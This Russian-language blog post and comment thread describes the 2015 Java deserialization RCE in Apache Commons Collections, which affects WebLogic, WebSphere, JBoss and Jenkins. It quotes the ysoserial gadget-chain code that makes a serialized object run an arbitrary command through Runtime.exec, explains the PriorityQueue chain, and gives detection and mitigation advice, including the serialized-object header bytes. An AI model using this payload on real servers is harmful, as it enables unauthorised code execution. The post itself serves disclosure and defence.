Вчера в блоге Apache FSF появилась интересная запись. Уязвимым оказалось практически все ПО, которое использует сериализацию и десереализацию данных совместно с apache commons collections и некоторыми другими библиотеками.
Сама уязвимость была описана 6 ноября, а сегодня Oracle выпустил первые патчи к WebLogic.

Кратко


Тип: Удаленное исполнение кода
Опасность: высокая
Уязвимое ПО: Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS и другое ПО с commons collections в classpath.
Описание: Уязвимость позволяет злоумышленнику создать такой пакет сериализованных данных, который при распаковке заставит уязвимый сервер исполнить произвольный код.

Подробно


Факты

  1. В Java, как и во многих других языках, существует механизм под названием serialization/deserialization, превращающий java-объект в последовательность байт и обратно. Он используется для передачи объектов, например через RMI или http cookie.
  2. В библиотеке commons collections существует ряд классов ( *Transformer ), которые можно сериализовать
  3. При некоторых условиях при десереализации InvokerTransformer может исполнить код
  4. Библиотека commons-collections используется в огромном количестве проектов, включая application servers указанные выше
  5. Для эксплуатации достаточно иметь данные классы в classpath, использовать ее в своем приложении не обязательно

Payload

Данный пример я честно скопировал из оригинальной статьи и снабдил своими комментариями, они наглядно показывают суть проблемы.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);    
    return handler;
}

Код генерирует объект, десериализация которого приведет к исполнению кода.
Все дело в том, как упаковывается InvokerTransformer, который при распаковке цепочки трансформеров и вызовет Runtime.getRuntime().exec(new String[] { command }), что приведет к исполнению кода в операционной системе.

Комментарий от tbl:
У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().

Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()


Для эксплуатации достаточно сериализовать полученный объект через java.io.ObjectOutputStream и передать его по используемому протоколу.

Примеры эксплуатации представлены в оригинальной статье, сам PoC лежит тут.

Workaround


Для успешной эксплуатации достаточно найти удаленный сервис, который принимает на вход сериализованные данные.

Потенциально уязвимые места:
  • HTTP запросы – параметры, cookie, ViewState'ы, заголовки итд
  • RMI и RMI over HTTP
  • JMX
  • Собственные протоколы, передающие сериализованные объекты

Для поиска подобных объектов в трафике своих серверов можно воспользоваться сниффером и поискать последовательность байт "ac ed 00 05 73 72", которая является заголовком любого сериализованного объекта. Не забывайте, что объект может быть обернут в base64 или другое кодирование, в зависимости от типа системы. После нахождения сервисов, принимающих такие объекты, очень желательно изолировать их от внешней сети. Тем временем RedHat Security предлагает просто удалить «вредные» классы из jar-файлов.

P.S. А лучше не используйте сериализацию для внешних данных, ведь никому не известно, сколько еще таких «Трансформеров» существует.

Комментарии (32)


  1. tbl
    11.11.2015 19:31
    +1

    По поводу ViewState: ни в коем случае в web.xml не делать так:

    <context-param>
        <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
        <param-value>client</param-value>
    </context-param>
    


    Кстати, Spring и Groovy тоже под ударом, судя по этому.


    1. nopox
      11.11.2015 19:58

      … 10 month ago (судя по истории git репозитория)


      1. tbl
        11.11.2015 20:12
        +1

        Судя по этой январской презентации, Ruby, PHP, Python имеют аналогичные проблемы с десериализацией данных, полученных от недоверенных источников.


  1. igor_suhorukov
    11.11.2015 20:31
    +1

    Java сериализация давно уж как моветон


    1. kreon
      11.11.2015 20:33
      +3

      Расскажите это какому-нибудь JSF :)


      1. igor_suhorukov
        11.11.2015 20:39
        +2

        Ах да, точно)


    1. erlioniel
      12.11.2015 09:18
      +1

      А можно узнать почему? Или вы так неудачно сократили «Java сериализация (для обмена данными с внешними ресурсами) давно уж как моветон»?


      1. igor_suhorukov
        12.11.2015 23:26
        +1

        Даже внутри распределенного java приложения не часто выбирают java сериализацию из-за производительности, совместимости разных версий объекта, объема данных и прочих связанных с стандартной сериализацией проблем. Достаточно бенчмарков и материалов на тему сериализации


        1. tbl
          13.11.2015 00:08

          О, кстати. У нас тут через JMS передаются объекты (в основном byte[], String и классы, отнаследованные от пары интерфейсов). Что из быстрого использовать вместо сериализации?


          1. igor_suhorukov
            13.11.2015 20:10

            не знаю как с jms, а с Solace API некоторые компании успешно используют avro/protobuff


  1. jorgen
    11.11.2015 20:42

    Отлично, коротко и по делу!

    Я так понимаю, проблему не тяжело пофиксить через Security Manager, или кастомный class loader. Общая практика — надо описать разрешённые для загрузки классы (именно загрузка, а не сериализация) и запретить все остальные. Мало ли в какой библиотеке, какая дырка ещё не найдена.


    1. kreon
      11.11.2015 20:44
      +1

      Этакий WAF для Java? Да, интересно, но только внутри той-же сферы сотни тысяч классов. И еще какие-то генерятся в памяти ORM'ами.
      И таки да, сериализуются туда-сюда.


      1. jorgen
        11.11.2015 20:55

        Согласен, хотя WAF реализовать и легко, толково наполнить разрешениями уже посложнее. Просто у меня перед глазами мой маленький проект с небольшим числом гуляющих по сети классов. Не люблю я энтерпрайз-решения.


    1. vedenin1980
      11.11.2015 21:22
      +1

      Общая практика

      Общая хорошая практика в Java не использовать сериализацию для любых внешних запросов, когда есть Rest, Soup и иже с ними. За десяток лет в Java энтерпрайзе не разу не видел случая использования сериализации для обмена данными с внешними системами и считал само собой разумеющимся, что прием сериализационных классов из недостоверных источников небезопасный от слова совсем.


      1. kreon
        11.11.2015 21:24
        +1

        nmap -p 1099 anynet/anymask

        Я думаю достаточно найдется :)

        P.S. Парсер лох


      1. jorgen
        11.11.2015 21:59

        Т.е. вы за «сериализовать только java.lang.String»? Хороший, строгий частный случай ;)


        1. vedenin1980
          11.11.2015 23:17
          +6

          Нет, я за то чтобы передавать не бинарные объекты, а json или xml, если речь не идет о модулях одной системы. Зачем придумывать хитрые песочницы, которые все равно могут протекать, если намного проще вообще не запускать непонятно от кого исполняемые файлы. Вроде бы пользователи уже привыкли не запускать непонятные exe'шники, какие совершенные антивирусы их не проверили, зачем делать такую же ошибку на сервере? Или другими словами, логичнее стрелять холостыми, чем стрелять боевыми в бронежелет, надеясь что он достаточно крепкий.


  1. akbarovs
    11.11.2015 22:07

    Либо я чего-то не понимаю, но что мешает взять любой протокол, который использует сериализацию/десериализацию, посмотреть какие классы ходят и сделать override default constructor/readObject и там написать что надо. Только нужно чуть больше работы, чем просто взять exploit для commons-collections


    1. kreon
      11.11.2015 22:09
      +1

      То что при сериализации сериализуются поля, но не методы. При десериализации вызывается конструктор по-умолчанию. А классов на стороне сервера, у которых конструктор может что-то исполнить вот такое, их почти и нету. Собственно InvokerTransformer и есть один из таких классов.


      1. akbarovs
        11.11.2015 22:11
        +1

        Вы правы — я глупость написал.


      1. tbl
        11.11.2015 22:49
        +1

        У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().

        Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()


        1. kreon
          11.11.2015 23:10
          +1

          О, спасибо. Можно добавить в статью?


          1. tbl
            11.11.2015 23:51
            +1

            Добавляй


  1. Quetzal
    12.11.2015 00:32

    Red Hat уже выпустили «пресс-релиз» по данной проблеме.


    1. tbl
      12.11.2015 01:20

      > "...remove the «risky» class files (InvokerTransformer, InstantiateFactory, and InstantiateTransfromer) in all commons-collections jars used by your app".

      Ещё из spring'а (если используете в своих приложениях) выкинуть org.springframework.beans.factory.support.AutowireUtils, ну может ещё чего найдёте (наверняка есть что-то в классах, обслуживающих xml-конфигурацию приложения). Правда, IoC в Spring после этого вряд ли взлетит.


  1. vektory79
    12.11.2015 17:46
    +1

    Странно. Хотел попробовать прогнать этот эксплоид на нашем приложении, но что-то пошло не так.

    Даже если я просто создаю объект, как написано в статье, сериализую его, а потом тут же десериализую, то получаю ошибку десериализации:

    Stacktrace
    Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
    	at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
    	at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443)
    	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.lang.reflect.Method.invoke(Method.java:606)
    	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
    	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
    	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
    	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
    	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
    	at ru.krista.exploid.Exploid1.deserialize(Exploid1.java:113)
    	at ru.krista.exploid.Exploid1.send(Exploid1.java:75)
    	at ru.krista.exploid.Exploid1.main(Exploid1.java:30)
    


    1. tbl
      12.11.2015 17:52

      Берите лучше отсюда рабочий код.


      1. vektory79
        12.11.2015 18:07

        Спасибо. Но именно от туда и брал. Напоролся вот на это: github.com/frohoff/ysoserial/issues/2


    1. tbl
      12.11.2015 17:59
      +1

      Если будет во viewstate инжектить, то вот удобная утилита для снятия дампов с viewstate


      1. vektory79
        12.11.2015 18:10
        +1

        Спасибо. К счастью ViewState'а у нас нету. Но вот то, что в Wildfly все коммуникации повесили на один порт (и http и EJB) — неприятно. Пытаюсь сообразить какие могут быть вектора атаки с учётом нашей инфраструктуры. Но для этого надо иметь на руках рабочий экспоид.


    1. vektory79
      12.11.2015 18:30
      +1

      Всё. С помощью автора разобрался.

      Оказывается ошибка и должна быть. Но она происходит уже после срабатывания уязвимости. Просто я неудачную команду для выполнения выбрал.

      echo test > /tmp/hacked.txt
      

      Не работает. А вот

      touch /tmp/hacked
      

      уже отрабатывает.


      1. tbl
        12.11.2015 19:37

        А, ну шелловскую строку пытались выполнить, надо было /bin/bash -e '...' использовать